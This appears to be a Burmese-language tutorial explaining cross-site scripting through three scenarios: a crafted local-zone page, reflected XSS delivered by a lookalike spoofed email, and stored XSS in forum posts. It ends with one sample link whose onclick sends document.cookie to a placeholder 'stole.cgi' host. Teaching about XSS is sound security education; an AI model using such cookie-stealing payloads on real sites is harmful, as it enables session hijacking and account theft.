XSS သို႕မဟုတ္ Cross-Site Scripting -တိုက္ခိုက္မႈ နမူနာမ်ား

XSS တိုက္ခိုက္မွႈ နမူနာမ်ား

XSS ဂယ္ေပါက္ အမ်ဳိးမ်ဳိးရွိေနသည့္အတြက္ တိုက္ခိုက္သူမ်ား၏ လုပ္ေဆာင္ပံုမ်ားမွာလည္း အမ်ဳိးမ်ဳိး ျဖစ္လာႏိုင္သည္။
တိုက္ခိုက္မႈနမူနာမ်ားကို ေလ့လာၾကည့္ၾကပါစို႕ ...

အားနည္းခ်က္ (၁)-တိုက္ခိုက္မႈ

1. တိုက္ခိုက္သူသည္ သားေကာင္ဆီသို႕ အီးေမးလ္ သို႕မဟုတ္ အျခားေသာ နည္းလမ္းတစ္ခု ျဖင့္ ေကာက္က်စ္စြာဖန္တီးထားေသာ အင္တာနက္စာမ်က္ႏွာ တစ္ခုကို ဖြင့္ေပးမည့္ အင္တာနက္လိပ္စာ (ဥပမာ - --www.attackexample.com/test/readme.html-- )တစ္ခုကို ေပးပို႕လိုက္သည္။
2. သားေကာင္က ထို လိပ္စာကို ႏွိပ္ လိုက္သည္။ (click လုပ္လိုက္သည္။) ဤတြင္ တိုက္ခိုက္သူ၏ ဖန္တီးထားေသာအင္တာနက္ စာမ်က္ႏွာမွာ သားေကာင္၏ အင္တာနက္ၾကည့္ေဆာ့ဖ္၀ဲတြင္ ပြင့္လာသည္။
3. တိုက္ခိုက္သူက ၾကိဳတင္ဖန္တီးထားသည့္အတိုင္းပင္ ၄င္းစာမ်က္ႏွာတြင္ ပါလာေသာ JavaScript သေကၤတမ်ားက သားေကာင္၏ ကြန္ပ်ဳတာထဲတြင္ ရွိႏွင့္ေနေသာ ဟာကြက္ ျဖစ္ေပၚေနသည့္ အင္တာနက္စာမ်က္ႏွာ တစ္ခုကို ထပ္ဖြင့္လိုက္ၾကသည္။
4. အဆိုပါ ဟာကြက္ျဖစ္ေပၚေနသည့္ အင္တာနက္စာမ်က္ႏွာထဲတြင္ ပါ၀င္ေနေသာ JavaScript သေကၤတမ်ားက သားေကာင္၏ ကြန္ပ်ဳတာ ဟာ့ဒ္ဒစ္ (Local zone) အတြင္းတြင္ ေကာင္းစြာ အလုပ္လုပ္ႏိုင္သည္။
5. ဤနည္းအားျဖင့္ တိုက္ခိုက္သူေပးပို႕လိုက္ေသာ ေကာက္က်စ္စြာ ဖန္တီးထားေသာ သေကၤတမ်ားသည္ သားေကာင္၏ ကြန္ပ်ဴတာထဲတြင္ ၾကိဳတင္ရွိေနေသာ ဟာကြက္ကို အခြင့္ေကာင္းယူ အသံုးခ်လ်က္ -
   1. အမိန္႕ေပးခ်က္မ်ား ေပးပို႕ ခိုင္းေစႏိုင္သည္။
   2. အခ်ဳိ႕ေသာ ေဆာ့ဖ္၀ဲမ်ား ပရိုဂရမ္မ်ားကို သားေကာင္မသိဘဲ တိတ္တဆိတ္ အလုပ္လုပ္ေစႏိုင္သည္။
   3. တိုက္ခိုက္သူထံအခ်က္အလက္မ်ား ျပန္လည္ေပးပို႕ႏိုင္သည္။

အားနည္းခ်က္ (၂)-တိုက္ခိုက္မႈ

1. ေက်ာ္ေက်ာ္သည္ ေအာင္ေအာင္တည္ေထာင္ထားေသာ ၀က္ဘ္ဆိုက္တစ္ခုဆီသို႕ မၾကာခဏ ၀င္ေရာက္လည္ပတ္ေလ့ ရွိသည္။ ၄င္း၀က္ဘ္ဆိုက္သို႕ ၀င္ေရာက္ႏိုင္ရန္အတြက္ ေက်ာ္ေက်ာ္သည္ Username ႏွင့္ Password တစ္ခုကို အသံုးျပဳရသည္။ ၀က္ဘ္ဆိုက္ ထဲတြင္ ေက်ာ္ေက်ာ္၏ ေငြေၾကးဆိုင္ရာ အခ်က္အလက္ မ်ားကဲ့သို႕ေသာ အေရးၾကီး အခ်က္အလက္မ်ား သိမ္းဆည္းထားသည္။
2. တိုက္ခိုက္သူတစ္ဦးက ေအာင္ေအာင္၏၀က္ဘ္ဆိုက္တြင္ “အေျခအေနအေပၚမူတည္ျပီး ျဖစ္ေပၚလာေသာေပ်ာ႕ကြက္ - Reflected XSS ” တစ္ခု ျဖစ္ေပၚေနေၾကာင္း ေလ့လာ ေတြ႕ရွိထားသည္။
3. တိုက္ခိုက္သူသည္ အဆိုပါ အားနည္းခ်က္ကို အျမတ္ထုတ္ႏိုင္ရန္အတြက္-
   1. (ေအာင္ေအာင္၏ ၀က္ဘ္ဆိုက္လိပ္စာႏွင့္ ဆင္တူယိုးမွား) အင္တာနက္လိပ္စာအတုတစ္ခုကို ဖန္တီးလိုက္ျပီး ေက်ာ္ေက်ာ္ထံသို႕ အီးေမးလ္တစ္ေစာင္ေပးပို႕လိုက္သည္။
   2. ၄င္းအီးေမးလ္ကိုလည္း ေအာင္ေအာင့္ ထံမွ ေပးပို႕သည့္အလား အျပင္အဆင္တူေအာင္ အားလံုး လွည့္စား ဖန္တီး ထားသည္။
   3. (အင္တာနက္ လံုျခံဳေရးနယ္ပယ္တြင္ ဤနည္းစနစ္ကို အီးေမးလိပ္စာ လွည့္ဖ်ားျခင္း - e-mail address spoofing ဟု ေခၚၾကသည္။)
      (ဥပမာ - --www.google.com-- အစား --www.googla.com--, --www.domainname.com အစား --www.domainame.com-- etc)
4. ေက်ာ္ေက်ာ္သည္-
   1. ( ၄င္းမၾကာခဏ အသံုးျပဳေနေသာ ေအာင္ေအာင္၏၀က္ဘ္ဆိုက္မွ ေပးပို႕သည့္စာ အမွတ္ျဖင့္) တိုက္ခိုက္သူ၏ အီးေမးလ္ကို ဖြင့္ၾကည့္ရင္း
   2. အထဲရွိ အင္တာနက္လိပ္စာ အတိုင္း လိုက္သြားကာ ေအာင္ေအာင္၏ ၀က္ဘ္ဆိုက္တြင္ Log In ျပဳလုပ္သည္။
5. ဤတြင္-
   1. တိုက္ခိုက္သူ ဖန္တီးထားေသာ အင္တာနက္လိပ္စာ အတုအတြင္း ျမဳတ္ႏွံထည့္သြင္း ထားေသာ မသမာသည့္ သေကၤတမ်ားက
   2. ေအာင္ေအာင္၏ ၀က္ဘ္ဆိုက္ အတြင္းမွ တိုက္ရိုက္ေပးပို႕လိုက္ေသာ သေကၤတမ်ား ကဲ့သို႕ ဟန္ေဆာင္ကာ
   3. ေက်ာ္ေက်ာ္၏ အင္တာနက္ၾကည့္ ေဆာ့ဖ္၀ဲအတြင္းတြင္ အလုပ္လုပ္ေတာ႕သည္။
   4. ေက်ာ္ေက်ာ္မွ ေအာင္ေအာင္၏ ၀က္ဘ္ဆိုက္ အတြင္းသို႕ ၀င္ေရာက္ႏိုင္ရန္ ထည့္သြင္းေပးရေသာ အေရးၾကီးေသာ အခ်က္အလက္မ်ား (User name, Password, Billing informations .... etc.)ကုိ ခိုးယူကာ တိုက္ခိုက္သူထံသို႕ တိတ္တဆိတ္ေပးပို႕ ေနေတာ႕သည္။
   5. example - Image taken from Microsoft MSDN libarary for XSS
   6. 

အားနည္းခ်က္ (၃)-တိုက္ခိုက္မႈ

1. ေအာင္ေအာင္သည္ ၀က္ဘ္ဆိုက္တစ္ခုကို တည္ေထာင္ထားသည္။ ၄င္းဆိုက္ကို အသံုးျပဳေနၾကေသာ သူမ်ားသည္ အျခားေသာသူမ်ား ဖတ္ရႈေစႏိုင္ရန္အတြက္ အသိေပးခ်က္မ်ားႏွင့္ အျခားအေၾကာင္းအရာမ်ားကို ေပးပို႕ခြင့္ရွိၾကသည္။( ဥပမာ-အင္တာနက္ေပၚရွိ ဖိုရမ္မ်ား)
2. တိုက္ခိုက္သူ တစ္ဦးသည္ ေအာင္ေအာင္၏၀က္ဘ္ဆိုက္တြင္ XSS အားနည္းခ်က္(၃) ကို အသံုးျပဳ၍ တိုက္ခိုက္ႏိုင္သည့္ ေပ်ာ့ကြက္ရွိေနေၾကာင္း သတိထားမိသည္။
3. တိုက္ခိုက္သူသည္ (လူ႕တို႕၏ စိတ္၀င္စားတတ္ေသာ သဘာ၀ကိုေကာင္းစြာအသံုးခ်လ်က္) ၀က္ဘ္ဆိုက္သို႕ ေရာက္လာမည့္ အျခားသူမ်ားလည္း ေသခ်ာေပါက္လာေရာက္ၾကည့္ရႈမည့္ အျငင္းပြားဖြယ္ရာ ေဆြးေႏြးျငင္းခုန္စရာ အသိေပးခ်က္အခ်ဳိ႕ကို တင္ထားလိုက္သည္။
4. ထိုအသိေပးခ်က္မ်ားထဲတြင္ တိတ္တဆိတ္ ျမဳတ္ႏွံထည့္သြင္းထားေသာ သေကၤတမ်ားေၾကာင့္၊ လာေရာက္ဖတ္ရႈၾကသည့္-
   1. ၄င္း၀က္ဘ္ဆိုက္သို႕ လာေရာက္လည္ပတ္ေသာသူမ်ား၏ လတ္တေလာအေျခအေနကို သိမ္းဆည္းထားသည့္ အခ်က္အလက္မ်ား (Session cookies) သို႕မဟုတ္
   2. အျခားေသာ အေထာက္အထားမ်ား ( User name, password စသည္)ကို ထိုသူမ်ား မသိေအာင္ တိုက္ခိုက္သူ၏ Web Server ထံသို႕ တိတ္တဆိတ္ ေပးပို႕ေတာ႕သည္။
5. ေနာက္ပိုင္းတြင္ တိုက္ခိုက္သူသည္ အျခားေသာသူမ်ားအမည္ျဖင့္ ၀က္ဘ္ဆိုက္ထဲသို႕ ၀င္ ေရာက္ျပီး ထင္ရာလုပ္ႏိုင္ေလသည္။
6. Session cookie မ်ားခိုးယူႏိုင္ေသာ နမူနာ သေကၤတမ်ား

-< href="#" onclick="window.location='http://example.com/stole.cgi?text='+escape(document.cookie); return false;">Click here! < /a >-

ဆက္လက္ေဖာ္ျပပါမည္ ....

REF - http://en.wikipedia.org/wiki/Xss